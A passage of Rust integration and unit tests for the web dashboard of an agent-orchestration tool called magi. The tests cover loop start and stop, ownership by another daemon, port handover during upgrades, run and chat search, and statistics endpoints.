11403        let view = settled(&f, |v| v["running"] == false).await;
11404        assert_eq!(view["owned"], false);
11405        assert_eq!(
11406            view["stopping"], false,
11407            "a loop that has stopped is not still stopping: {view}"
11408        );
11409        assert_eq!(
11410            view["last_error"],
11411            Value::Null,
11412            "a loop that was asked to stop did not fail: {view}"
11413        );
11414
11415        // Idempotent, because the operator cannot tell a slow stop from a lost
11416        // one and will press it again.
11417        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11418        assert_eq!(twice.status, 200, "{}", twice.body);
11419    }
11420
11421    #[tokio::test]
11422    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11423        let f = Fixture::start().await;
11424        // How the operator has been doing it: a `magi serve` of their own,
11425        // heartbeat fresh, in the same home this UI reads.
11426        write_daemon(f.home.path(), Timestamp::now());
11427
11428        let view = f.get("/api/loop").await.json();
11429        assert_eq!(view["running"], false, "not in this process: {view}");
11430        assert_eq!(view["owned"], false, "and not this process's to control");
11431        assert_eq!(
11432            view["daemon"]["running"], true,
11433            "but a loop is alive somewhere, which is what the UI must say"
11434        );
11435        assert_eq!(view["daemon"]["pid"], 4242);
11436
11437        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11438            let res = f.post("/api/loop", Some(body)).await;
11439            assert_eq!(
11440                res.status, 409,
11441                "neither button may pretend to work on someone else's loop: {}",
11442                res.body
11443            );
11444            assert!(
11445                res.json()["error"]
11446                    .as_str()
11447                    .is_some_and(|e| e.contains("4242")),
11448                "the refusal has to name the process the operator must go to: {}",
11449                res.body
11450            );
11451        }
11452        assert_eq!(
11453            f.get("/api/loop").await.json()["running"],
11454            false,
11455            "and the refusal started nothing"
11456        );
11457    }
11458
11459    #[tokio::test]
11460    async fn a_stale_status_file_is_not_a_foreign_owner() {
11461        let f = Fixture::start().await;
11462        write_daemon(
11463            f.home.path(),
11464            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11465        );
11466
11467        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11468        assert_eq!(
11469            res.status, 200,
11470            "a daemon killed a minute ago must not lock the loop out of its \
11471             own home for good: {}",
11472            res.body
11473        );
11474        assert_eq!(res.json()["running"], true);
11475
11476        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11477    }
11478
11479    #[tokio::test]
11480    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11481        let f = Fixture::start().await;
11482        let before = f.get("/api/health").await.json()["loop_rev"]
11483            .as_u64()
11484            .expect("a loop revision");
11485
11486        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11487
11488        let after = f.get("/api/health").await.json()["loop_rev"]
11489            .as_u64()
11490            .expect("a loop revision");
11491        assert!(
11492            after > before,
11493            "the loop is in-process state, so this counter is the only thing \
11494             that tells a second device the first one started it: {before} -> \
11495             {after}"
11496        );
11497
11498        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11499    }
11500
11501    #[tokio::test]
11502    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11503        let f = Fixture::with_loop(launch_broken).await;
11504
11505        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11506        assert_eq!(
11507            res.status, 200,
11508            "starting it is not the failure: {}",
11509            res.body
11510        );
11511
11512        let view = settled(&f, |v| v["last_error"].is_string()).await;
11513        assert_eq!(
11514            view["running"], false,
11515            "a loop that died must not read as running, or the operator has \
11516             nothing to press: {view}"
11517        );
11518        assert_eq!(view["owned"], false);
11519        assert!(
11520            view["last_error"]
11521                .as_str()
11522                .is_some_and(|e| e.contains("read-only file system")),
11523            "the phone is where a loop that died at 3am is visible: {view}"
11524        );
11525
11526        // And it can be started again: the corpse was reaped, not left to
11527        // occupy the slot.
11528        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11529        assert_eq!(again.status, 200, "{}", again.body);
11530        assert!(
11531            again.json()["last_error"]
11532                .as_str()
11533                .is_none_or(|e| !e.contains("read-only file system")),
11534            "a fresh start does not keep showing why the last one died: {}",
11535            again.body
11536        );
11537    }
11538
11539    /// An upgrade parks the run in flight before it restarts, and a park waits
11540    /// for the node - up to `timeout_implement`, an hour by default. The deck
11541    /// has to answer for all of it: the operator has just been told a run is
11542    /// finishing first, and this address is the only place that says how it is
11543    /// going. It did not, once - the listener went with the `select!` arm that
11544    /// began the handover, and the phone got `Cannot reach magi: Failed to
11545    /// fetch` for the rest of the wave.
11546    ///
11547    /// The other half is the older rule: the address must be free *before* the
11548    /// successor is started, or it dies on "address already in use" with its
11549    /// stdio sent to null and the deck never comes back.
11550    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11551    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11552        let home = TempDir::new().expect("temp home");
11553        let runs = home.path().join("runs");
11554        std::fs::create_dir_all(&runs).expect("runs dir");
11555        let ui = Ui::new(
11556            Queue::at(home.path().join("queue")),
11557            Questions::at(home.path().join("questions")),
11558            Talks::at(home.path().join("talks")),
11559            runs,
11560            home.path().to_path_buf(),
11561            PathBuf::from("/repo/magi"),
11562        )
11563        .with_worktrees_root(home.path().join("wt"))
11564        .with_launch(launch_knocking_on_the_way_out);
11565        let looping = ui.looping();
11566        let turns = ui.turns();
11567        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11568            .await
11569            .expect("bind loopback");
11570        let addr = listener.local_addr().expect("local addr");
11571        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11572        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11573
11574        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11575        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11576
11577        // The successor's whole job, and the one thing it cannot do while this
11578        // process still holds the socket.
11579        //
11580        // One bind is not enough, and the reason is not this process's order of
11581        // operations: aborting the accept loop drops the listener, but axum
11582        // serves each accepted connection on a task of its own, and those are
11583        // not aborted. The requests above left sockets on this very address,
11584        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
11585        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
11586        // Production absorbs that in `bind_waiting`; so does this. Only
11587        // `AddrInUse` is retried, and the listener is released before the
11588        // closure returns - were the order wrong, the listener would outlive
11589        // the closure and every attempt would fail. Inferred from the bind
11590        // rules and the code; not reproduced on macOS.
11591        let bound = std::sync::Mutex::new(None);
11592        hand_over(
11593            home.path(),
11594            &looping,
11595            &turns,
11596            &|_: &[String]| Duration::from_secs(5),
11597            served,
11598            |_| {
11599                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11600                let attempt = loop {
11601                    match std::net::TcpListener::bind(addr) {
11602                        Ok(l) => {
11603                            drop(l);
11604                            break Ok(());
11605                        }
11606                        Err(e)
11607                            if e.kind() == std::io::ErrorKind::AddrInUse
11608                                && std::time::Instant::now() < deadline =>
11609                        {
11610                            std::thread::sleep(std::time::Duration::from_millis(10));
11611                        }
11612                        Err(e) => break Err(e.to_string()),
11613                    }
11614                };
11615                *bound.lock().expect("bound") = Some(attempt);
11616                Ok(1)
11617            },
11618        )
11619        .await
11620        .expect("hand over");
11621
11622        assert_eq!(
11623            *PARK_HEARD.lock().expect("park heard"),
11624            Some(200),
11625            "the deck must answer while the loop is parking"
11626        );
11627        let attempt = bound
11628            .lock()
11629            .expect("bound")
11630            .take()
11631            .expect("the successor was started");
11632        assert!(
11633            attempt.is_ok(),
11634            "and the address must be free by the time it is: {attempt:?}"
11635        );
11636    }
11637
11638    #[tokio::test]
11639    async fn a_newer_daemon_status_file_still_renders() {
11640        let f = Fixture::start().await;
11641        // A field this build has never heard of must not turn the status line
11642        // into a 500; that is the whole reason the reader is permissive.
11643        std::fs::write(
11644            f.home.path().join("daemon.json"),
11645            serde_json::json!({
11646                "schema": 2,
11647                "updated_at": Timestamp::now().to_string(),
11648                "idle": true,
11649                "surprise": { "nested": [1, 2, 3] },
11650            })
11651            .to_string(),
11652        )
11653        .expect("write daemon.json");
11654
11655        let health = f.get("/api/health").await;
11656
11657        assert_eq!(health.status, 200);
11658        assert_eq!(health.json()["daemon"]["running"], true);
11659    }
11660
11661    #[tokio::test]
11662    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11663        let f = Fixture::start().await;
11664        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11665        let broken = f.runs().join("20260902-140502-bad");
11666        std::fs::create_dir_all(&broken).expect("run dir");
11667        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11668
11669        let list = f.get("/api/runs").await;
11670        let detail = f.get("/api/runs/20260902-140502-bad").await;
11671
11672        assert_eq!(list.status, 200);
11673        let listed = list.json();
11674        let ids: Vec<&str> = listed
11675            .as_array()
11676            .expect("an array")
11677            .iter()
11678            .map(|r| r["id"].as_str().expect("an id"))
11679            .collect();
11680        assert_eq!(
11681            ids,
11682            vec!["20260902-140501-good"],
11683            "one unreadable run must not cost the operator the whole history"
11684        );
11685        assert_eq!(detail.status, 500);
11686        assert!(
11687            detail.json()["error"]
11688                .as_str()
11689                .is_some_and(|e| e.contains("run.json")),
11690            "the failure names the file to look at: {}",
11691            detail.body
11692        );
11693        // A skipped run has to be countable somewhere, or the UI shows an
11694        // empty history with nothing to explain it - which is exactly what a
11695        // directory full of older-schema runs looks like.
11696        let health = f.get("/api/health").await;
11697        assert_eq!(health.json()["runs_unreadable"], 1);
11698    }
11699
11700    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
11701    #[tokio::test]
11702    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11703        let f = Fixture::start().await;
11704        let runs = f.runs();
11705        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11706        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11707        // Text three levels down, in a shape no current RunState has: an older
11708        // schema must still search.
11709        let path = runs.join("20260902-140502-bbbb").join("run.json");
11710        let mut v: serde_json::Value =
11711            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11712        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11713        std::fs::write(&path, v.to_string()).unwrap();
11714        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11715        std::fs::write(
11716            runs.join("20260902-140503-cccc").join("run.json"),
11717            "{ not json",
11718        )
11719        .unwrap();
11720
11721        let res = f.get("/api/search?scope=runs&q=quokka").await;
11722        assert_eq!(res.status, 200, "{}", res.body);
11723        let v = res.json();
11724        assert_eq!(v["total"], 1, "{v}");
11725        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11726        assert_eq!(v["hits"][0]["field"], "text");
11727        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11728        let parts = v["hits"][0]["snippet"].as_array().unwrap();
11729        assert!(
11730            parts
11731                .iter()
11732                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11733            "{v}"
11734        );
11735        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11736        assert_eq!(
11737            flat, "The Quokka leaks across threads",
11738            "whitespace is collapsed"
11739        );
11740
11741        // Terms are ANDed, across different fields, case-insensitively.
11742        let both = f
11743            .get("/api/search?scope=runs&q=MOBILE%20quokka")
11744            .await
11745            .json();
11746        assert_eq!(both["total"], 1, "{both}");
11747        let neither = f
11748            .get("/api/search?scope=runs&q=quokka%20zebra")
11749            .await
11750            .json();
11751        assert_eq!(neither["total"], 0, "{neither}");
11752        // Everything in the task statement is reachable, not only the row text.
11753        let stmt = f
11754            .get("/api/search?scope=runs&q=mobile%20first")
11755            .await
11756            .json();
11757        assert_eq!(stmt["total"], 2, "{stmt}");
11758        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11759        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11760    }
11761
11762    #[test]
11763    fn snippet_ignores_terms_longer_than_the_field() {
11764        let terms = ["ok".to_owned(), "elephant".to_owned()];
11765        let parts = snippet_of("ok", &terms);
11766        assert_eq!(
11767            parts,
11768            vec![SnippetPart {
11769                text: "ok".to_owned(),
11770                hit: true
11771            }]
11772        );
11773    }
11774
11775    #[test]
11776    fn snippet_marks_matches_longer_than_the_window() {
11777        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11778        let hit_len = |parts: &[SnippetPart]| -> usize {
11779            parts
11780                .iter()
11781                .filter(|p| p.hit)
11782                .map(|p| p.text.chars().count())
11783                .sum()
11784        };
11785        let total =
11786            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11787
11788        let long = "a".repeat(120);
11789        let parts = snippet_of(&long, std::slice::from_ref(&long));
11790        assert!(hit_len(&parts) > 0, "{parts:?}");
11791        assert!(total(&parts) <= cap);
11792
11793        let ja = "あ".repeat(130);
11794        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11795        assert!(hit_len(&parts) > 0, "{parts:?}");
11796        assert!(total(&parts) <= cap);
11797
11798        // A short hit, then one straddling the window's end.
11799        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11800        let term = format!("ab{}", "c".repeat(100));
11801        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11802        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11803        assert!(total(&parts) <= cap);
11804
11805        // Only the head matches: not highlighted.
11806        let text = format!("{}z", "a".repeat(119));
11807        let parts = snippet_of(&text, &["a".repeat(120)]);
11808        assert_eq!(hit_len(&parts), 0, "{parts:?}");
11809    }
11810
11811    #[tokio::test]
11812    async fn search_caps_hits_and_snippet_length() {
11813        let f = Fixture::start().await;
11814        let runs = f.runs();
11815        for n in 0..(SEARCH_MAX_HITS + 5) {
11816            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11817        }
11818        let v = f.get("/api/search?scope=runs&q=web").await.json();
11819        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11820        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11821        assert_eq!(v["truncated"], true);
11822        // Every listed run hit carries its list row for the page's filters.
11823        assert!(
11824            v["hits"]
11825                .as_array()
11826                .unwrap()
11827                .iter()
11828                .all(|h| h["run"]["status"] == "merged")
11829        );
11830
11831        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11832        let parts = snippet_of(&long, &["needle".to_owned()]);
11833        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11834        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11835        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11836    }
11837
11838    #[tokio::test]
11839    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11840        let f = Fixture::start().await;
11841        let queue = f.queue();
11842        let mut t = Task::new(
11843            "short title".to_owned(),
11844            "line one\nthe hidden Armadillo detail".to_owned(),
11845            PathBuf::from("/repo/magi"),
11846            Source::Agent {
11847                run: "r1".to_owned(),
11848                node: "chat".to_owned(),
11849            },
11850        );
11851        t.last_error = Some("disk full on /tmp".to_owned());
11852        queue.put(&mut t).expect("file the task");
11853
11854        for (q, want) in [
11855            ("armadillo", 1),
11856            ("disk%20FULL", 1),
11857            ("chat", 1),
11858            ("queued", 1),
11859            ("short%20nothing", 0),
11860        ] {
11861            let v = f
11862                .get(&format!("/api/search?scope=tasks&q={q}"))
11863                .await
11864                .json();
11865            assert_eq!(v["total"], want, "{q}: {v}");
11866        }
11867        for bad in [
11868            "/api/search?scope=tasks&q=",
11869            "/api/search?scope=tasks&q=%20",
11870            "/api/search?scope=chats&q=",
11871            "/api/search?scope=chats&q=%20",
11872            "/api/search?scope=nope&q=a",
11873            "/api/search?q=a",
11874        ] {
11875            assert_eq!(f.get(bad).await.status, 400, "{bad}");
11876        }
11877    }
11878
11879    /// Write one conversation file the way the store reads it back.
11880    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11881        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11882            .expect("seat value");
11883        let turns: Vec<serde_json::Value> = turns
11884            .iter()
11885            .map(|(who, body)| {
11886                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11887            })
11888            .collect();
11889        let doc = serde_json::json!({
11890            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11891            "status": status, "turns": turns,
11892            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11893            "seat": seat,
11894        });
11895        let dir = f.home.path().join("talks");
11896        std::fs::create_dir_all(&dir).expect("talks dir");
11897        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11898    }
11899
11900    #[tokio::test]
11901    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11902        let f = Fixture::start().await;
11903        write_talk(
11904            &f,
11905            "20260901-000001-aaaa",
11906            "open",
11907            &[
11908                (
11909                    "operator",
11910                    "\n  Why does the Pangolin cache expire?\nsecond line",
11911                ),
11912                ("agent", "Because the TTL is thirty seconds."),
11913            ],
11914        );
11915        write_talk(
11916            &f,
11917            "20260901-000002-bbbb",
11918            "closed",
11919            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11920        );
11921        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11922
11923        let search = |q: &'static str| {
11924            let f = &f;
11925            async move {
11926                f.get(&format!("/api/search?scope=chats&q={q}"))
11927                    .await
11928                    .json()
11929            }
11930        };
11931
11932        let v = search("PANGOLIN").await;
11933        assert_eq!(v["scope"], "chats");
11934        assert_eq!(v["total"], 1, "{v}");
11935        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11936        assert_eq!(v["hits"][0]["field"], "title");
11937        assert_eq!(v["unreadable"], 1, "{v}");
11938        let marked: Vec<&str> = v["hits"][0]["snippet"]
11939            .as_array()
11940            .unwrap()
11941            .iter()
11942            .filter(|p| p["hit"] == true)
11943            .map(|p| p["text"].as_str().unwrap())
11944            .collect();
11945        assert_eq!(marked, ["Pangolin"]);
11946
11947        // An agent turn, in a closed conversation.
11948        let v = search("zebra").await;
11949        assert_eq!(v["total"], 1, "{v}");
11950        assert_eq!(v["hits"][0]["field"], "agent");
11951        // Words may sit in different turns; all must be present.
11952        assert_eq!(search("pangolin%20thirty").await["total"], 1);
11953        assert_eq!(search("pangolin%20zebra").await["total"], 0);
11954        // Bookkeeping is not searched.
11955        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11956            assert_eq!(search(q).await["total"], 0, "{q}");
11957        }
11958        // The first line only is the title; the second line is still a turn.
11959        assert_eq!(search("second").await["hits"][0]["field"], "operator");
11960        // Open conversations are listed before closed ones.
11961        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11962
11963        let v = f.get("/api/search?scope=nope&q=a").await;
11964        assert_eq!(v.status, 400);
11965        assert!(
11966            v.body.contains("scope must be runs, tasks or chats"),
11967            "{}",
11968            v.body
11969        );
11970    }
11971
11972    #[test]
11973    fn a_question_card_links_a_task_id_to_the_task_page() {
11974        let start = APP_JS
11975            .find("function updateAskCard(")
11976            .expect("updateAskCard exists");
11977        let body = &APP_JS[start..];
11978        let body = &body[..body.find("\n}\n").expect("function end")];
11979        assert!(body.contains("question.run_is_task"));
11980        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11981        assert!(body.contains("`#/runs/${question.run}`"));
11982        assert!(body.contains("\"task\" : \"run\""));
11983    }
11984
11985    #[test]
11986    fn plain_text_message_surfaces_go_through_linkify() {
11987        assert!(APP_JS.contains("function linkify("));
11988        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
11989        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
11990        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
11991        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
11992        assert!(!APP_JS.contains("innerHTML = text"));
11993    }
11994
11995    #[test]
11996    fn stats_bars_share_one_id_keyed_plan() {
11997        let start = APP_JS
11998            .find("function statsBarRows(")
11999            .expect("statsBarRows exists");
12000        let body = &APP_JS[start..];
12001        let body = &body[..body.find("\n}\n").expect("function end")];
12002        assert!(body.contains("statsBarPlan(rows)"));
12003        assert!(body.contains("statsAgentTone(row.agent)"));
12004        assert!(!body.contains("candTone(i)"));
12005        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12006        for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12007            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12008        }
12009    }
12010
12011    #[test]
12012    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12013        let start = APP_JS
12014            .find("function renderStatsReviewerScatter(")
12015            .expect("renderStatsReviewerScatter exists");
12016        let body = &APP_JS[start..];
12017        let body = &body[..body.find("\n}\n").expect("function end")];
12018        assert!(body.contains("statsScatterPlan(reviewers)"));
12019        assert!(body.contains("statsAgentTone(d.agent)"));
12020        assert!(APP_JS.contains("function statsScatterPlan("));
12021        assert!(
12022            APP_JS.contains("d.submitted < STATS_LOW_N")
12023                || APP_JS.contains("r.submitted < STATS_LOW_N")
12024        );
12025        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12026        assert!(APP_CSS.contains(".precision-scatter"));
12027    }
12028
12029    #[test]
12030    fn advisor_reflection_is_drawn_as_stacked_segments() {
12031        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12032        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12033        let html = include_str!("../assets/ui/index.html");
12034        assert!(html.contains("Approximate"));
12035        for label in ["reflected strongly", "faint", "no proposal"] {
12036            assert!(html.contains(label));
12037        }
12038        let css = include_str!("../assets/ui/app.css");
12039        for c in ["refl-strong", "refl-faint", "refl-absent"] {
12040            assert!(css.contains(&format!(".{c} {{")));
12041        }
12042    }
12043
12044    #[test]
12045    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12046        assert!(APP_JS.contains("function statsDailyPlan("));
12047        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12048        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12049    }
12050
12051    #[test]
12052    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12053        let start = APP_JS
12054            .find("function scheduleSearch(")
12055            .expect("scheduleSearch exists");
12056        let body = &APP_JS[start..];
12057        let body = &body[..body.find("\n}\n").expect("function end")];
12058        assert!(body.contains("s.seq += 1"));
12059    }
12060
12061    /// The dashboard reads every run's state itself rather than trusting a
12062    /// separately-maintained count, so an unreadable run must be counted the
12063    /// same way `/api/health` counts it - never silently dropped the way the
12064    /// CLI's own `stats::load_all` drops it.
12065    #[tokio::test]
12066    async fn stats_runs_unreadable_matches_health() {
12067        let f = Fixture::start().await;
12068        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12069        let broken = f.runs().join("20260902-140502-bad");
12070        std::fs::create_dir_all(&broken).expect("run dir");
12071        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12072
12073        let stats = f.get("/api/stats").await;
12074        let health = f.get("/api/health").await;
12075
12076        assert_eq!(stats.status, 200);
12077        assert_eq!(stats.json()["totals"]["runs"], 1);
12078        assert_eq!(stats.json()["runs_unreadable"], 1);
12079        assert_eq!(
12080            stats.json()["runs_unreadable"],
12081            health.json()["runs_unreadable"],
12082            "the dashboard and /api/health must never disagree about how many \
12083             runs could not be read"
12084        );
12085    }
12086
12087    #[tokio::test]
12088    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12089        let f = Fixture::start().await;
12090        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12091        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12092        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12093
12094        let totals = &f.get("/api/stats").await.json()["totals"];
12095        assert_eq!(totals["runs"], 3);
12096        assert_eq!(totals["merged"], 1);
12097        assert_eq!(totals["stalled"], 1);
12098        assert_eq!(totals["in_progress"], 1);
12099        // A stalled run must never read as blocked/merged/ready - it is its
12100        // own bucket, not folded into a "decided" one.
12101        assert_eq!(totals["blocked"], 0);
12102        assert_eq!(totals["ready"], 0);
12103    }
12104
12105    #[tokio::test]
12106    async fn stats_advisors_report_proposals_and_reflection() {
12107        use crate::advise::{Advice, AdvisorRecord, Reflection};
12108        use crate::verdict::Proposal;
12109
12110        let f = Fixture::start().await;
12111        let mut state = RunState::new(
12112            PathBuf::from("/repo/magi"),
12113            "main".to_owned(),
12114            "0123456789abcdef".to_owned(),
12115            "task".to_owned(),
12116            Config::default(),
12117        );
12118        state.id = "20260902-140501-a".to_owned();
12119        state.status = RunStatus::Merged;
12120        state.advice = Some(Advice {
12121            records: vec![
12122                AdvisorRecord {
12123                    seat: "advisor-1".to_owned(),
12124                    agent: "alpha".to_owned(),
12125                    proposal: Some(Proposal {
12126                        approach: "do it".to_owned(),
12127                        key_tradeoff: "speed over memory".to_owned(),
12128                        risks: Vec::new(),
12129                        touches: Vec::new(),
12130                        why_not_naive: "breaks under load".to_owned(),
12131                    }),
12132                    error: None,
12133                    duration_ms: 0,
12134                    reflection: Reflection::Strong,
12135                },
12136                AdvisorRecord {
12137                    seat: "advisor-2".to_owned(),
12138                    agent: "alpha".to_owned(),
12139                    proposal: None,
12140                    error: Some("timed out".to_owned()),
12141                    duration_ms: 0,
12142                    reflection: Reflection::Absent,
12143                },
12144            ],
12145            synthesis: Some("blended brief".to_owned()),
12146        });
12147        let dir = f.runs().join(&state.id);
12148        std::fs::create_dir_all(&dir).expect("run dir");
12149        std::fs::write(
12150            dir.join("run.json"),
12151            serde_json::to_string_pretty(&state).expect("serialize run"),
12152        )
12153        .expect("write run.json");
12154
12155        // `alpha` is in no roster here; this test is about the rates.
12156        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12157        let alpha = advisors
12158            .as_array()
12159            .expect("an array")
12160            .iter()
12161            .find(|a| a["agent"] == "alpha")
12162            .expect("alpha row");
12163        assert_eq!(alpha["seated"], 2);
12164        assert_eq!(alpha["proposed"], 1);
12165        assert_eq!(alpha["absent"], 1);
12166        assert_eq!(alpha["strong"], 1);
12167        assert_eq!(alpha["faint"], 0);
12168        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12169    }
12170
12171    #[tokio::test]
12172    async fn stats_hides_agents_outside_the_roster_unless_all() {
12173        use crate::run::Candidate;
12174        let repo = TempDir::new().expect("repo dir");
12175        std::fs::write(
12176            repo.path().join("magi.toml"),
12177            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12178        )
12179        .expect("magi.toml");
12180        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12181        let mut state = RunState::new(
12182            PathBuf::from("/repo/magi"),
12183            "main".to_owned(),
12184            "0123456789abcdef".to_owned(),
12185            "task".to_owned(),
12186            Config::default(),
12187        );
12188        state.id = "20260902-140501-a".to_owned();
12189        state.status = RunStatus::Merged;
12190        for (label, agent) in [('A', "keep"), ('B', "retired")] {
12191            let mut c: Candidate = serde_json::from_value(serde_json::json!({
12192                "index": 0, "label": label.to_string(), "agent": agent,
12193                "branch": "b", "worktree": "/w",
12194            }))
12195            .expect("candidate");
12196            c.label = label;
12197            state.candidates.push(c);
12198        }
12199        let dir = f.runs().join(&state.id);
12200        std::fs::create_dir_all(&dir).expect("run dir");
12201        std::fs::write(
12202            dir.join("run.json"),
12203            serde_json::to_string_pretty(&state).expect("serialize run"),
12204        )
12205        .expect("write run.json");
12206
12207        let agents_of = |v: &serde_json::Value| -> Vec<String> {
12208            v["agents"]
12209                .as_array()
12210                .expect("array")
12211                .iter()
12212                .map(|a| a["agent"].as_str().unwrap().to_owned())
12213                .collect()
12214        };
12215        let hidden = f.get("/api/stats").await.json();
12216        assert_eq!(agents_of(&hidden), ["keep"]);
12217        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12218        assert_eq!(hidden["totals"]["runs"], 1);
12219
12220        let all = f.get("/api/stats?all=true").await.json();
12221        assert_eq!(agents_of(&all).len(), 2);
12222        assert_eq!(all["retired_hidden"], serde_json::json!([]));
12223    }
12224
12225    #[tokio::test]
12226    async fn stats_release_bumps_split_clean_from_attention() {
12227        use crate::run::ReleaseBump;
12228
12229        let f = Fixture::start().await;
12230
12231        let mut clean = RunState::new(
12232            PathBuf::from("/repo/magi"),
12233            "main".to_owned(),
12234            "0123456789abcdef".to_owned(),
12235            "task".to_owned(),
12236            Config::default(),
12237        );
12238        clean.id = "20260902-140501-a".to_owned();
12239        clean.status = RunStatus::Merged;
12240        clean.release_bump = Some(ReleaseBump {
12241            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12242            version: Some("1.0.0".to_owned()),
12243            automerge_enabled: true,
12244            merged_directly: false,
12245            local: false,
12246            release: None,
12247            problem: None,
12248            action_required: None,
12249        });
12250
12251        let mut blocked = RunState::new(
12252            PathBuf::from("/repo/magi"),
12253            "main".to_owned(),
12254            "0123456789abcdef".to_owned(),
12255            "task".to_owned(),
12256            Config::default(),
12257        );
12258        blocked.id = "20260902-140502-b".to_owned();
12259        blocked.status = RunStatus::Merged;
12260        blocked.release_bump = Some(ReleaseBump {
12261            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12262            version: Some("1.0.1".to_owned()),
12263            automerge_enabled: false,
12264            merged_directly: false,
12265            local: false,
12266            release: None,
12267            problem: Some("checks red".to_owned()),
12268            action_required: Some("look at the PR".to_owned()),
12269        });
12270
12271        for state in [&clean, &blocked] {
12272            let dir = f.runs().join(&state.id);
